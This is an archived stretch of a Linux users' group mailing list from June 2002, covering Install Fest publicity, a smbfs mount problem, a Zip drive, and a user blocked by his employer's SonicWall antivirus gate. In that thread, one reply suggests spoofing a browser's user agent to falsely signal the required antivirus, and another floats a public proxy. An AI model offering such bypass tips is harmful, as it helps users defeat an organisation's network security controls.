-- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > I have done the google search, but have come up empty handed. anyone > > > have any suggestions for a possible fix? > > > > > > BTW i am running evolution-1.0.3-4. > > > > > > slr > > > > > > > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 19:46:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 6 Jun 2002 12:46:51 -0700 Subject: The word is out! Message-ID: <1023392811.3cffbc2bae466@webmail.freedom2surf.net> The press release has been faxed and emailed. Only one I didn't contact is the Computer buyer Magazine and the Computer Corner s Show on KTAR. It was suggested that this is best done during the show on Saturday 10-11:45am. If you will be around to answer the phone, Bill, here is the link to submit the info. http://www.datadoctors.com/corner/radio_question.cfm Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 20:53:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Thu, 6 Jun 2002 13:53:28 -0700 Subject: flyer In-Reply-To: <200206060651.11750.dennisk@sahuaro.f2s.com> References: <02060605483917.00730@nova.wedge.org> <200206060651.11750.dennisk@sahuaro.f2s.com> Message-ID: <200206061353.28284.voltage_spike@fastmail.fm> On Thursday 06 June 2002 06:51 am, Dennis Kibbe wrote: > A couple of comments on the flyer. > > I think of advertising in terms of how it would work as a billboard along > the freeway. While driving I've got about 3 seconds to take in the > message, if the ad doesn't present the key points in that length of time > it fails for me. I think it should be intriguing. Something along the lines of: Free Pizza and Soda // Big, bold font June 22nd, Scottsdale CC // Smaller, not quite as bold Bring your computer // Same as above line plug.mybutt.net // Same as above line On second thought, you might want to leave out that last line. :-) -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 21:16:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 06 Jun 2002 17:16:01 -0400 Subject: flyer Message-ID: Are you buying the pizza and soda? ;^) Alan On Thu, 6 Jun 2002 13:53:28 -0700 Logan Kennelly wrote: I think it should be intriguing. Something along the lines of: Free Pizza and Soda // Big, bold font June 22nd, Scottsdale CC // Smaller, not quite as bold Bring your computer // Same as above line plug.mybutt.net // Same as above line On second thought, you might want to leave out that last line. :-) -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 21:41:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Thu, 6 Jun 2002 14:41:30 -0700 Subject: flyer In-Reply-To: References: Message-ID: <200206061441.30106.voltage_spike@fastmail.fm> On Thursday 06 June 2002 02:16 pm, alandd@mindspring.com wrote: > Are you buying the pizza and soda? ;^) I could certainly help out with this. I just don't know what I am doing on June 22, yet. -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 21:43:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Thu, 6 Jun 2002 14:43:35 -0700 Subject: flyer Message-ID: <2AAC72149C827944B96C854ABD0BCAFF1A4DBF@azmscorp01.corp.azms> haha yeah I would probably leave out that last line... People might get scared or the wrong impression. Larry Lauer "Unix is user friendly...Its just picky about its friends." -----Original Message----- From: Logan Kennelly [mailto:voltage_spike@fastmail.fm] Sent: Thursday, June 06, 2002 1:53 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: flyer On Thursday 06 June 2002 06:51 am, Dennis Kibbe wrote: > A couple of comments on the flyer. > > I think of advertising in terms of how it would work as a billboard along > the freeway. While driving I've got about 3 seconds to take in the > message, if the ad doesn't present the key points in that length of time > it fails for me. I think it should be intriguing. Something along the lines of: Free Pizza and Soda // Big, bold font June 22nd, Scottsdale CC // Smaller, not quite as bold Bring your computer // Same as above line plug.mybutt.net // Same as above line On second thought, you might want to leave out that last line. :-) -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 22:04:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Wyant) Date: Thu, 6 Jun 2002 15:04:32 -0700 Subject: The word is out! In-Reply-To: <1023392811.3cffbc2bae466@webmail.freedom2surf.net> Message-ID: Just a small correction: The correct address to submit something like a press release to the Computer Corner Radio Show is http://www.datadoctors.com/corner/radio_suggestion.cfm I'm the webmaster for datadoctors.com and also an employee. I would suggest not calling the show with this information as the show is not geared towards a Linux user. Our chief demographic are 45+ year old males perfectly happy running whatever version of Windows to email, word process, and surf the web. I just talked to Ken Colburn, one of the co-hosts of the Computer Corner and a part-owner of Data Doctors Corporate. He expressed definite interest in supporting the Linux and Open Source community, but was very sure that the Computer Corner audience was not the correct platform. He did however ask me to forward on a bit of information, (I apologize for the lack of details, but NDAs apply), we have a new project coming up in a month or so that would be a much better platform for this organization, and that we would be happy to provide as a service to you. I will try my best to be an effective liaison and arbiter in this and future opportunities, as myself, Mr. Colburn, and Data Doctors are very interested and happy to provide any help we can in this arena. "University politics are vicious precisely because the stakes are so small." -- Henry Kissinger matt wyant | friend, gentleman, scholar zanfar@nospam.zanfar.com -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of dennisk@sahuaro.f2s.com Sent: Thursday, June 06, 2002 12:47 PM To: PLUG Mailing List Cc: wlindley@wlindley.com Subject: The word is out! The press release has been faxed and emailed. Only one I didn't contact is the Computer buyer Magazine and the Computer Corner s Show on KTAR. It was suggested that this is best done during the show on Saturday 10-11:45am. If you will be around to answer the phone, Bill, here is the link to submit the info. http://www.datadoctors.com/corner/radio_question.cfm Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 22:29:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Thu, 6 Jun 2002 15:29:00 -0700 Subject: Install Fest Web Site Message-ID: <0206061529001E.00730@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I have done the following: Added Matt's mp3 promo on the main page Put the final version of the press release on the main page Added a maps page Changed all the navigation bars to be able to access the maps page fixed a missing space after the copyleft symbol at the botton of all pages Any other screw-ups that you eagle-eyes can find? - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPP/iLSsk3ywszI1FEQJwZACglurPvjlsCB5FMrikImY/nW92cHUAn11D cKnc5LUpxWJeOBN+uxsQBD2g =4YGX -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 22:52:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 06 Jun 2002 18:52:28 -0400 Subject: The word is out! Message-ID: The demographic you describe is EXACTLY the demographic we want to reach for this event. An Install Fest is mostly for people who aren't Linux users but want to try it and maybe become a Linux user. Granted, the usual meetings are more targeted toward Linux users but the Install Fest is there to help new users get started. This other project that mention sounds interesting, what little you can say right now. I will watch with great interest. Alan On Thu, 6 Jun 2002 15:04:32 -0700 Matt Wyant wrote: Just a small correction: The correct address to submit something like a press release to the Computer Corner Radio Show is http://www.datadoctors.com/corner/radio_suggestion.cfm I'm the webmaster for datadoctors.com and also an employee. I would suggest not calling the show with this information as the show is not geared towards a Linux user. Our chief demographic are 45+ year old males perfectly happy running whatever version of Windows to email, word process, and surf the web. I just talked to Ken Colburn, one of the co-hosts of the Computer Corner and a part-owner of Data Doctors Corporate. He expressed definite interest in supporting the Linux and Open Source community, but was very sure that the Computer Corner audience was not the correct platform. He did however ask me to forward on a bit of information, (I apologize for the lack of details, but NDAs apply), we have a new project coming up in a month or so that would be a much better platform for this organization, and that we would be happy to provide as a service to you. I will try my best to be an effective liaison and arbiter in this and future opportunities, as myself, Mr. Colburn, and Data Doctors are very interested and happy to provide any help we can in this arena. "University politics are vicious precisely because the stakes are so small." -- Henry Kissinger matt wyant | friend, gentleman, scholar zanfar@nospam.zanfar.com -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of dennisk@sahuaro.f2s.com Sent: Thursday, June 06, 2002 12:47 PM To: PLUG Mailing List Cc: wlindley@wlindley.com Subject: The word is out! The press release has been faxed and emailed. Only one I didn't contact is the Computer buyer Magazine and the Computer Corner s Show on KTAR. It was suggested that this is best done during the show on Saturday 10-11:45am. If you will be around to answer the phone, Bill, here is the link to submit the info. http://www.datadoctors.com/corner/radio_question.cfm Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 22:53:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Charlie Bullen) Date: Thu, 6 Jun 2002 15:53:26 -0700 Subject: sonicwall Message-ID: <001e01c20dac$f8e79de0$6400a8c0@amd1000> This is a multi-part message in MIME format. ------=_NextPart_000_001B_01C20D72.4BC83500 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi, I got my employer to let me bring my linux box to work to use but = there is a problem. They have a sonic wall and I can't get through it to = the net. If I can get it to work great, if not I can get no support from = the office. I have been using Konquerer and ran into a blank wall, no = net access. I tried Lynx and got a message that I needed to download and = install sonic wall anti virus, but I couldn't do that with Lynx.=20 They have sonicwall set to not allow internet access unless the client = is running sonicwall antivirus. All the other workstations are Win98 or XP using IE 5.5 or 6.0.=20 My idea is to install and try Opera withi tset to identify itself as IE. = I am running wine and have had good results running windows programs on = Linux but I wonder if sonic wall anti virus can run under linux (Suse = 7.3)=20 Any other suggestions or better yet solutions would be appreciated. This whole project is the result of 2 things, first I went to the Linux = to Windows conversion presentation last week, thanks Matt, and second I = have to use a windows XP home version box otherwise. Regards, Charlie =20 ------=_NextPart_000_001B_01C20D72.4BC83500 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi, I got my employer to let me bring = my linux box=20 to work to use but there is a problem. They have a sonic wall and I = can't get=20 through it to the net. If I can get it to work great, if not I can = get no=20 support from the office.  I have been using Konquerer and ran into = a blank=20 wall, no net access. I tried Lynx and got a message that I needed to = download=20 and install sonic wall anti virus, but I couldn't do that with Lynx.=20
 
They have sonicwall set to not allow = internet=20 access unless the client is running sonicwall antivirus.
 
All the other workstations are Win98 or = XP using IE=20 5.5 or 6.0.
 
My idea is to install and try = Opera withi tset=20 to identify itself as IE. I am running wine and have had good results = running=20 windows programs on Linux but I wonder if sonic wall anti virus can run = under=20 linux (Suse 7.3)
 
Any other suggestions or better yet = solutions would=20 be appreciated.
 
This whole project is the result of 2 = things, first=20 I went to the Linux to Windows conversion presentation last week, thanks = Matt,=20 and second I have to use a windows XP home version box = otherwise.
 
Regards,
 
Charlie
 
 
------=_NextPart_000_001B_01C20D72.4BC83500-- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 23:39:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Thu, 6 Jun 2002 16:39:55 -0700 (PDT) Subject: sonicwall In-Reply-To: <001e01c20dac$f8e79de0$6400a8c0@amd1000> Message-ID: Yes, unfortunately, the SonicWall AV software is currently only available for Windows machines. Before a user is allowed Internet access, the SonicWall checks their machine to make sure it has the latest virus definitions before allowing them Internet access. In your case, running a non-Windows platform, you'll need to exclude your IP address from the virus requirements on the SonicWall. Ask whoever manages your SonicWall to exclude your system. You can also call SonicWall tech support for more info. ~M On Thu, 6 Jun 2002, Charlie Bullen wrote: > Hi, I got my employer to let me bring my linux box to work to use but there is a problem. They have a sonic wall and I can't get through it to the net. If I can get it to work great, if not I can get no support from the office. I have been using Konquerer and ran into a blank wall, no net access. I tried Lynx and got a message that I needed to download and install sonic wall anti virus, but I couldn't do that with Lynx. > > They have sonicwall set to not allow internet access unless the client is running sonicwall antivirus. > > All the other workstations are Win98 or XP using IE 5.5 or 6.0. > > My idea is to install and try Opera withi tset to identify itself as IE. I am running wine and have had good results running windows programs on Linux but I wonder if sonic wall anti virus can run under linux (Suse 7.3) > > Any other suggestions or better yet solutions would be appreciated. > > This whole project is the result of 2 things, first I went to the Linux to Windows conversion presentation last week, thanks Matt, and second I have to use a windows XP home version box otherwise. > > Regards, > > Charlie > > > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 23:51:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 6 Jun 2002 16:51:46 -0700 Subject: sonicwall In-Reply-To: <001e01c20dac$f8e79de0$6400a8c0@amd1000> References: <001e01c20dac$f8e79de0$6400a8c0@amd1000> Message-ID: <200206061651.46292.zen2now@qwest.net> thats great that they let you bring it in, but bad they wont let it out. :~( Sonicwall only supports the windows os's, thats it, which in my mind they are losing a great deal, but thats another issue. so, no the anti-virus will not run on any *nix* that i am aware of, except for maybe Lindows. and the chance of opera working in the way you would like, will more than likely fail because as far as i know it is not browser dependant. if the anti-vurus is present and announces itself to the sonicwall, then the sonicwall will permit access to the internet. but if it is not present, then you know what happens, access denied. you may try using a public proxy, but once again you do not have the sonicwall anti-virus installed, and the sonicwall will more than likely deny access. i guess you could try installing the anti-virus under wine, what do you have to lose. i would be interested to find out if it will install. if it does then maybe i could install their VPN client as well. good luck slr On Thursday 06 June 2002 03:53 pm, Charlie Bullen wrote: > Hi, I got my employer to let me bring my linux box to work to use but there > is a problem. They have a sonic wall and I can't get through it to the net. > If I can get it to work great, if not I can get no support from the office. > I have been using Konquerer and ran into a blank wall, no net access. I > tried Lynx and got a message that I needed to download and install sonic > wall anti virus, but I couldn't do that with Lynx. > > They have sonicwall set to not allow internet access unless the client is > running sonicwall antivirus. > > All the other workstations are Win98 or XP using IE 5.5 or 6.0. > > My idea is to install and try Opera withi tset to identify itself as IE. I > am running wine and have had good results running windows programs on Linux > but I wonder if sonic wall anti virus can run under linux (Suse 7.3) > > Any other suggestions or better yet solutions would be appreciated. > > This whole project is the result of 2 things, first I went to the Linux to > Windows conversion presentation last week, thanks Matt, and second I have > to use a windows XP home version box otherwise. > > Regards, > > Charlie From plug-discuss@lists.plug.phoenix.az.us Fri Jun 7 00:01:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 06 Jun 2002 17:01:14 -0700 Subject: sonicwall In-Reply-To: <001e01c20dac$f8e79de0$6400a8c0@amd1000> Message-ID: <200206070003.UAA17041@hostinworld6.com> Just a thought. Grab the HTTP headers from a WinBLOWS box and copy the user agent to your browser's. I suspect this software adds something to the user agent of the browser that SonicWall checks for and if you can have Lynx or Konq lie about having it, then all is good. Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net On 06 Jun 2002 15:53:26 -0700, Charlie Bullen wrote: > Hi, I got my employer to let me bring my linux box to work to use but there is a problem. They have a sonic wall and I can't get through it to the net. If I can get it to work great, if not I can get no support from the office. I have been using Konquerer and ran into a blank wall, no net access. I tried Lynx and got a message that I needed to download and install sonic wall anti virus, but I couldn't do that with Lynx. > > They have sonicwall set to not allow internet access unless the client is running sonicwall antivirus. > > All the other workstations are Win98 or XP using IE 5.5 or 6.0. > > My idea is to install and try Opera withi tset to identify itself as IE. I am running wine and have had good results running windows programs on Linux but I wonder if sonic wall anti virus can run under linux (Suse 7.3) > > Any other suggestions or better yet solutions would be appreciated. > > This whole project is the result of 2 things, first I went to the Linux to Windows conversion presentation last week, thanks Matt, and second I have to use a windows XP home version box otherwise. > > Regards, > > Charlie > > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 21:53:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Wyant) Date: Thu, 6 Jun 2002 14:53:05 -0700 Subject: The word is out! In-Reply-To: <1023392811.3cffbc2bae466@webmail.freedom2surf.net> Message-ID: Just a small correction: The correct address to submit something like a press release to the Computer Corner Radio Show is http://www.datadoctors.com/corner/radio_suggestion.cfm I'm the webmaster for datadoctors.com and also an employee. I would suggest not calling the show with this information as the show is not geared towards a Linux user. Our chief demographic are 45+ year old males perfectly happy running whatever version of Windows to email, word process, and surf the web. I just talked to Ken Colburn, one of the co-hosts of the Computer Corner and a part-owner of Data Doctors Corporate. He expressed definite interest in supporting the Linux and Open Source community, but was very sure that the Computer Corner audience was not the correct platform. He did however ask me to forward on a bit of information, (I apologize for the lack of details, but NDAs apply), we have a new project coming up in a month or so that would be a much better platform for this organization, and that we would be happy to provide as a service to you. I will try my best to be an effective liaison and arbiter in this and future opportunities, as myself, Mr. Colburn, and Data Doctors are very interested and happy to provide any help we can in this arena. -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of dennisk@sahuaro.f2s.com Sent: Thursday, June 06, 2002 12:47 PM To: PLUG Mailing List Cc: wlindley@wlindley.com Subject: The word is out! The press release has been faxed and emailed. Only one I didn't contact is the Computer buyer Magazine and the Computer Corner s Show on KTAR. It was suggested that this is best done during the show on Saturday 10-11:45am. If you will be around to answer the phone, Bill, here is the link to submit the info. http://www.datadoctors.com/corner/radio_question.cfm Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 7 06:42:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 6 Jun 2002 23:42:23 -0700 Subject: fstab help Message-ID: <200206062342.26108.lists@chevy-lemonade.com> I'm trying to connect to a shared drive on an NT server named mutt on my internal network from my RH7.3 box. I have the following line in etc/fstab //mutt/d /mnt/mutt_d smbfs guid=,uid=,userid=,password= 0 When I try to mount the drive I get an error that says teh special device //mutt/d does not exist. I know the two can see eachother as I can print to the printer that is on mutt. Any help will be much appreciated. -- Don't trust the "Bow Tie" From plug-discuss@lists.plug.phoenix.az.us Fri Jun 7 08:45:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Fri, 7 Jun 2002 01:45:15 -0700 Subject: iomega parallel zip drive Message-ID: <20020607014515.6bd7d7ab.snoogans@qwest.net> Ok i had this working fine under my 2.2 distrobution kernel(debian) with modprobe ppa. i Decided to compile a 2.4 kernel and i an trying to get it to work correctly. Right now i have scsi support enabled, scsi disk support enabled, the ppa module compiled in as a module, and parallel printing enabled as a module(as per the zip drive mini-hwoto). When i modprobe ppa it says that /dev/sda4 is not a valid block device. I have kernel compiled about 6 times tonight and i would really like next time to be last time, at least for tonight :) andone know what might be wrong? From plug-discuss@lists.plug.phoenix.az.us Fri Jun 7 20:56:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Brian Cluff) Date: Fri, 7 Jun 2002 13:56:19 -0700 (MST) Subject: test please ignore Message-ID: <20020607205619.87474297F5@napita.snaptek.com> test From plug-discuss@lists.plug.phoenix.az.us Fri Jun 7 21:02:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 7 Jun 2002 14:02:26 -0700 (PDT) Subject: Mike? Message-ID: Sorry for the mail to everyone, but there was a guy that picked up 5 of my computers and wanted to know the motherboard make/model. I believe it's a PM9000 from Amptron: http://amptron.com From plug-discuss@lists.plug.phoenix.az.us Fri Jun 7 21:47:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Fri, 7 Jun 2002 14:47:48 -0700 Subject: The word is out! In-Reply-To: <1023392811.3cffbc2bae466@webmail.freedom2surf.net> References: <1023392811.3cffbc2bae466@webmail.freedom2surf.net> Message-ID: <02060714474805.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Want me to send it out to linuxtoday, slashdot, and newsforge or do you want to do that? On Thursday 06 June 2002 12:46, you wrote: > The press release has been faxed and emailed. Only one I didn't contact is > the Computer buyer Magazine and the Computer Corner s > Show on KTAR. It was suggested that this is best done during the show on > Saturday 10-11:45am. > > If you will be around to answer the phone, Bill, here is the link to submit > the info. > > http://www.datadoctors.com/corner/radio_question.cfm > > Dennis Kibbe > > > > ------------------------------------------------- > Everyone should have http://www.freedom2surf.net/ > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQEqBSsk3ywszI1FEQK+2gCfed0cP7KyuOPPmN3d+B2yzAjUWwcAoNTv RWNNwlmeb9pyJP1qZNdtJu+D =oszl -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 7 22:27:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeffrey Pyne) Date: Fri, 7 Jun 2002 15:27:54 -0700 Subject: fstab help Message-ID: Does it work if you mount the share 'by hand' (mount -t smbfs -o username=foo,password=bar //mutt/d /mnt/mutt_d)? You show a "userid" option in your fstab. Is that a typo? I believe that should be "username." Do you have the smbfs module compiled (lsmod | grep smbfs)? Is smbfs a valid fstype (grep smbfs /proc/filesystems)? Is the D:\ drive on Mutt a hidden share? If so, try putting a $ after the remote filesystem column in the fstab (//mutt/d$). Does smbclient -L mutt -U show that Mutt has that share available? ~Jeff On Thursday, June 06, 2002 11:42 PM, Tom Achtenberg sent: > I'm trying to connect to a shared drive on an NT server named > mutt on my > internal network from my RH7.3 box. I have the 